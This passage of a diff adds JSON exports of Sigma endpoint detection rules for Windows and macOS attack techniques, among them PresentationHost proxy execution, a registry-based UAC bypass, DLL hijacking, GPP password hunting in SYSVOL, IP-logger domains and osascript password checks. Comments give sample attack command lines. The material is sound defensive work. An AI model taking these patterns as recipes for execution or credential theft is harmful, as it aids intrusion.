+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070933Z",
+  "creation_date": "2026-03-23T11:45:34.070935Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070939Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_presentationhost_proxy_execution.yml",
+  "content": "title: Proxy Execution via PresentationHost.exe\nid: f44dcd3e-22cd-412b-8c2f-23b8aa848803\ndescription: |\n    Detects a suspicious invocation of PresentationHost.exe.\n    This binary can be use to execute code or download a payload into %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE.\n    Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\n    It is recommended to investigate the file being run by PresentationHost, as well as potential malicious actions performed by PresentationHost to determine of this action was legitimate.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2022/12/02\nmodified: 2025/04/08\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.PresentationHost\n    - classification.Windows.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # Presentationhost.exe C:\\temp\\Evil.xbap\n    selection:\n        - Image|endswith: '\\PresentationHost.exe'\n        - OriginalFileName: 'PresentationHost.exe'\n\n    filter_xaml:\n        CommandLine|endswith: '.xaml'\n\n    exclusion_parent_chrome:\n        ParentImage|endswith: '\\ClickOnceForGoogleChome.exe'\n        ParentCommandLine|contains|all:\n            - ' chrome-extension://'\n            - ' --parent-window='\n\n    exclusion_embedding:\n        CommandLine:\n            - '?:\\Windows\\System32\\PresentationHost.exe -Embedding'\n            - '?:\\Windows\\SysWOW64\\PresentationHost.exe -Embedding'\n\n    exclusion_onestreamcloud:\n        CommandLine: '?:\\Windows\\System32\\PresentationHost.exe -launchApplication https://*.onestreamcloud.com/OneStreamWeb/ClickOnce/OneStreamDesktop/OneStreamDesktop.application'\n\n    exclusion_silae:\n        CommandLine: '?:\\Windows\\System32\\PresentationHost.exe -launchApplication https://*/silaeclient/SilaeClient.*'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f44dcd3e-22cd-412b-8c2f-23b8aa848803",
+  "rule_name": "Proxy Execution via PresentationHost.exe",
+  "rule_description": "Detects a suspicious invocation of PresentationHost.exe.\nThis binary can be use to execute code or download a payload into %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE.\nAdversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries.\nIt is recommended to investigate the file being run by PresentationHost, as well as potential malicious actions performed by PresentationHost to determine of this action was legitimate.\n",
+  "rule_creation_date": "2022-12-02",
+  "rule_modified_date": "2025-04-08",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f4806f87-d14f-4fae-a67a-69c11fea62df",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610534Z",
+  "creation_date": "2026-03-23T11:45:34.610537Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610544Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/AzAgarampur/byeintegrity5-uac"
+  ],
+  "name": "t1112_systemroot_environment_variable_modification.yml",
+  "content": "title: SYSTEMROOT User Environment Variable Modified\nid: f4806f87-d14f-4fae-a67a-69c11fea62df\ndescription: |\n    Detects the modification of the SYSTEMROOT user's environment variable in registry.\n    This variable is not normally defined in the user environment variables.\n    Attackers can set this variable to perform a UAC bypass using the CDSSync scheduled task.\n    It is recommended to check processes created after the modification for suspicious activities.\nreferences:\n    - https://github.com/AzAgarampur/byeintegrity5-uac\ndate: 2020/11/27\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.ConfigChange\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_set_value:\n        EventType: 'SetValue'\n        TargetObject: 'HKU\\\\*\\Environment\\systemroot'\n\n    filter_empty:\n        Details: '(Empty)'\n\n    selection_rename:\n        EventType:\n            - 'RenameKey'\n            - 'RenameValue'\n        NewName: 'HKU\\\\*\\Environment\\systemroot'\n\n    condition: (selection_set_value and not 1 of filter_*) or selection_rename\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f4806f87-d14f-4fae-a67a-69c11fea62df",
+  "rule_name": "SYSTEMROOT User Environment Variable Modified",
+  "rule_description": "Detects the modification of the SYSTEMROOT user's environment variable in registry.\nThis variable is not normally defined in the user environment variables.\nAttackers can set this variable to perform a UAC bypass using the CDSSync scheduled task.\nIt is recommended to check processes created after the modification for suspicious activities.\n",
+  "rule_creation_date": "2020-11-27",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f4879975-c114-4547-87ce-779c0c0321d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.597416Z",
+  "creation_date": "2026-03-23T11:45:34.597422Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.597435Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_printui.yml",
+  "content": "title: DLL Hijacking via printui.exe\nid: f4879975-c114-4547-87ce-779c0c0321d0\ndescription: |\n    Detects potential Windows DLL Hijacking via printui.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'printui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\IPHLPAPI.DLL'\n            - '\\printui.dll'\n            - '\\PROPSYS.dll'\n            - '\\puiapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f4879975-c114-4547-87ce-779c0c0321d0",
+  "rule_name": "DLL Hijacking via printui.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via printui.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f492a02e-ddff-4097-ba43-26aa0af5463f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.074568Z",
+  "creation_date": "2026-03-23T11:45:34.074570Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.074574Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mindpointgroup.com/blog/privilege-escalation-via-group-policy-preferences-gpp",
+    "https://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html",
+    "https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70",
+    "https://lolbas-project.github.io/lolbas/Binaries/Findstr/",
+    "https://attack.mitre.org/techniques/T1552/006/"
+  ],
+  "name": "t1552_006_gpp_passwords_sysvol_cmdline.yml",
+  "content": "title: GPP Passwords in Sysvol Enumerated via Findstr\nid: f492a02e-ddff-4097-ba43-26aa0af5463f\ndescription: |\n    Detects command-lines that may be used to enumerate Group Policy Preferences (GPP) passwords.\n    GPP allows for configuration of Domain-attached machines via group policy. Domain machines periodically authenticate to the Domain Controller utilizing the Domain credentials of the logged-in user. Group Policies for account management are stored on the Domain Controller in XML files in the SYSVOL folder.\n    Policies that contain the \"cpassword\" field will set the password for the contained account. This field is encrypted with an AES 32-bit key, which is the same for all Windows systems and is publically available.\n    Attackers may enumerate these files to acquire domain passwords for further lateral movement.\n    It is recommended to investigate this activity and check the SYSVOL folder for any affected accounts, as well as to hunt for any authentications to affected accounts after this alert.\nreferences:\n    - https://www.mindpointgroup.com/blog/privilege-escalation-via-group-policy-preferences-gpp\n    - https://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html\n    - https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70\n    - https://lolbas-project.github.io/lolbas/Binaries/Findstr/\n    - https://attack.mitre.org/techniques/T1552/006/\ndate: 2025/07/04\nmodified: 2025/07/10\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.006\n    - attack.t1552.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Findstr\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\findstr.exe'\n        CommandLine|contains|all:\n            - 'cpassword'\n            - 'sysvol'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f492a02e-ddff-4097-ba43-26aa0af5463f",
+  "rule_name": "GPP Passwords in Sysvol Enumerated via Findstr",
+  "rule_description": "Detects command-lines that may be used to enumerate Group Policy Preferences (GPP) passwords.\nGPP allows for configuration of Domain-attached machines via group policy. Domain machines periodically authenticate to the Domain Controller utilizing the Domain credentials of the logged-in user. Group Policies for account management are stored on the Domain Controller in XML files in the SYSVOL folder.\nPolicies that contain the \"cpassword\" field will set the password for the contained account. This field is encrypted with an AES 32-bit key, which is the same for all Windows systems and is publically available.\nAttackers may enumerate these files to acquire domain passwords for further lateral movement.\nIt is recommended to investigate this activity and check the SYSVOL folder for any affected accounts, as well as to hunt for any authentications to affected accounts after this alert.\n",
+  "rule_creation_date": "2025-07-04",
+  "rule_modified_date": "2025-07-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1552.001",
+    "attack.t1552.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f4959b0c-cc79-4358-bee6-880d9a5b95ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625401Z",
+  "creation_date": "2026-03-23T11:45:34.625403Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625407Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://iplogger.org/fr/",
+    "https://attack.mitre.org/techniques/T1566/002/",
+    "https://attack.mitre.org/techniques/T1102/002/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1566_002_dns_request_iplogger_url_shortener.yml",
+  "content": "title: DNS Request to IP Logger URL Shortener\nid: f4959b0c-cc79-4358-bee6-880d9a5b95ed\ndescription: |\n    Detects a DNS resolution request to an IP Logger URL Shortener.\n    IP Logger is a URL Shortener service with advanced analytics on the traffic through the shortened links.\n    Adversaries can masquerade their own URL shortener as a legitimate service and redirect targets to malicious content.\n    It is recommended to investigate the process at the origin of the DNS resolution to determine whether it can legitimately communicate with this service.\nreferences:\n    - https://iplogger.org/fr/\n    - https://attack.mitre.org/techniques/T1566/002/\n    - https://attack.mitre.org/techniques/T1102/002/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2024/09/09\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566.002\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.t1071.001\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName:\n            - 'iplogger.org'\n            - 'wl.gl'\n            - 'ed.tc'\n            - 'bc.ax'\n            - 'iplogger.com'\n            - 'maper.info'\n            - 'iplogger.ru'\n            - 'iplogger.co'\n            - '2no.co'\n            - 'yip.su'\n            - 'iplogger.info'\n            - 'ipgrabber.ru'\n            - 'ipgraber.ru'\n            - 'iplis.ru'\n            - '02ip.ru'\n            - 'ezstat.ru'\n            - 'iplog.co'\n            - 'iplogger.cn'\n\n    filter_browser:\n        ProcessOriginalFileName:\n            - 'firefox.exe'\n            - 'chrome.exe'\n            - 'brave.exe'\n            - 'msedge.exe'\n            - 'librewolf.exe'\n            - 'opera.exe'\n            - 'vivaldi.exe'\n            - 'iexplore.exe'\n            - 'msedgewebview2.exe'\n            - 'zen.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_opera:\n        ProcessImage|endswith: '\\opera.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Opera Norway AS'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_trellix:\n        ProcessImage|endswith: '\\mfeatp.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'MUSARUBRA US LLC'\n\n    exclusion_avira:\n        # C:\\Program Files\\Avira\\Endpoint Protection SDK\\endpointprotection.exe\n        ProcessImage|endswith: '\\endpointprotection.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Avira Operations GmbH'\n\n    exclusion_cisco:\n        ProcessOriginalFileName: 'CiscoCollabHost.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Cisco Systems, Inc.'\n\n    exclusion_ipconfig:\n        ProcessImage:\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\Syswow64\\ipconfig.exe'\n        ProcessCommandLine|contains: '/displaydns'\n\n    exclusion_cybereason:\n        ProcessImage: '?:\\Program Files\\Cybereason ActiveProbe\\minionhost.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f4959b0c-cc79-4358-bee6-880d9a5b95ed",
+  "rule_name": "DNS Request to IP Logger URL Shortener",
+  "rule_description": "Detects a DNS resolution request to an IP Logger URL Shortener.\nIP Logger is a URL Shortener service with advanced analytics on the traffic through the shortened links.\nAdversaries can masquerade their own URL shortener as a legitimate service and redirect targets to malicious content.\nIt is recommended to investigate the process at the origin of the DNS resolution to determine whether it can legitimately communicate with this service.\n",
+  "rule_creation_date": "2024-09-09",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1102.002",
+    "attack.t1566.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f4b41d25-ce02-42fb-890b-c714cded1173",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617919Z",
+  "creation_date": "2026-03-23T11:45:34.617921Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617926Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/",
+    "https://attack.mitre.org/techniques/T1033/",
+    "https://attack.mitre.org/techniques/T1059/002/"
+  ],
+  "name": "t1059_002_osascript_password_validation.yml",
+  "content": "title: User's Password Validated via osascript\nid: f4b41d25-ce02-42fb-890b-c714cded1173\ndescription: |\n    Detects the execution of osacript to validate user's password.\n    Adversaries may try to validate a user password by using it in an osascript command, for instance by creating a file as the specified user.\n    It is recommended to check for other suspicious activity by the parent process.\nreferences:\n    - https://www.microsoft.com/en-us/security/blog/2024/10/17/new-macos-vulnerability-hm-surf-could-lead-to-unauthorized-data-access/\n    - https://attack.mitre.org/techniques/T1033/\n    - https://attack.mitre.org/techniques/T1059/002/\ndate: 2024/10/18\nmodified: 2025/01/08\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.execution\n    - attack.t1059.002\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.LOLBin.Osascript\n    - classification.macOS.Behavior.CredentialAccess\n    - classification.macOS.Behavior.Discovery\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        #  /usr/bin/osascript -e ‘do shell script “touch ‘/tmp/GmaNi4v50ekNZSI'” user name “<username>” password <password> as string with administrator privileges’\n        Image|endswith: '/osascript'\n        CommandLine|contains|all:\n            - 'user name'\n            - 'password'\n            - 'with administrator privileges'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f4b41d25-ce02-42fb-890b-c714cded1173",
+  "rule_name": "User's Password Validated via osascript",
+  "rule_description": "Detects the execution of osacript to validate user's password.\nAdversaries may try to validate a user password by using it in an osascript command, for instance by creating a file as the specified user.\nIt is recommended to check for other suspicious activity by the parent process.\n",
+  "rule_creation_date": "2024-10-18",
+  "rule_modified_date": "2025-01-08",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1033",
+    "attack.t1059.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f4ca9000-4c9d-4df0-ab1e-b67efb6d5a38",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.610158Z",
+  "creation_date": "2026-03-23T11:45:34.610162Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.610170Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://ssd-disclosure.com/ssd-advisory-file-history-service-fhsvc-dll-elevation-of-privilege/",
+    "https://nvd.nist.gov/vuln/detail/CVE-2023-35359",
+    "https://attack.mitre.org/techniques/T1068/"
+  ],
+  "name": "t1068_suspicious_process_fhsvc.yml",
+  "content": "title: Suspicious Process Executed by the File History Service\nid: f4ca9000-4c9d-4df0-ab1e-b67efb6d5a38\ndescription: |\n    Detects the execution of a process by the File History Service that may be a consequence of a local privilege escalation vulnerability exploitation (CVE-2023-35359).\n    This vulnerability allows an attacker to make the File History load an arbitrary DLL as NT AUTHORITY\\\\SYSTEM, thus granting the attacker local SYSTEM privileges.\n    It is recommended to analyze the DLLs loaded by the service as well as to look for traces of malicious behavior on the host.\n    Remediative actions include quarantining the DLL, killing the launched process as well as isolating the host.\nreferences:\n    - https://ssd-disclosure.com/ssd-advisory-file-history-service-fhsvc-dll-elevation-of-privilege/\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-35359\n    - https://attack.mitre.org/techniques/T1068/\ndate: 2023/09/04\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1068\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Exploit.CVE-2023-35359\n    - classification.Windows.Exploit.Fhsvc\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        # C:\\Windows\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc\n        ProcessParentImage|endswith: '\\svchost.exe'\n        ProcessParentCommandLine|contains: ' fhsvc'\n\n    exclusion_werfault:\n        ProcessImage:\n            - '?:\\windows\\system32\\WerFault.exe'\n            - '?:\\windows\\syswow64\\WerFault.exe'\n\n    exclusion_svchost:\n        ProcessCommandLine: '?:\\WINDOWS\\system32\\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc'\n\n    exclusion_citrix:\n        ProcessImage: '?:\\Program Files (x86)\\Citrix\\ICA Client\\concentr.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f4ca9000-4c9d-4df0-ab1e-b67efb6d5a38",
+  "rule_name": "Suspicious Process Executed by the File History Service",
+  "rule_description": "Detects the execution of a process by the File History Service that may be a consequence of a local privilege escalation vulnerability exploitation (CVE-2023-35359).\nThis vulnerability allows an attacker to make the File History load an arbitrary DLL as NT AUTHORITY\\\\SYSTEM, thus granting the attacker local SYSTEM privileges.\nIt is recommended to analyze the DLLs loaded by the service as well as to look for traces of malicious behavior on the host.\nRemediative actions include quarantining the DLL, killing the launched process as well as isolating the host.\n",
+  "rule_creation_date": "2023-09-04",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1068"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f4d321de-b05f-4628-bea8-6f93217fe8a4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
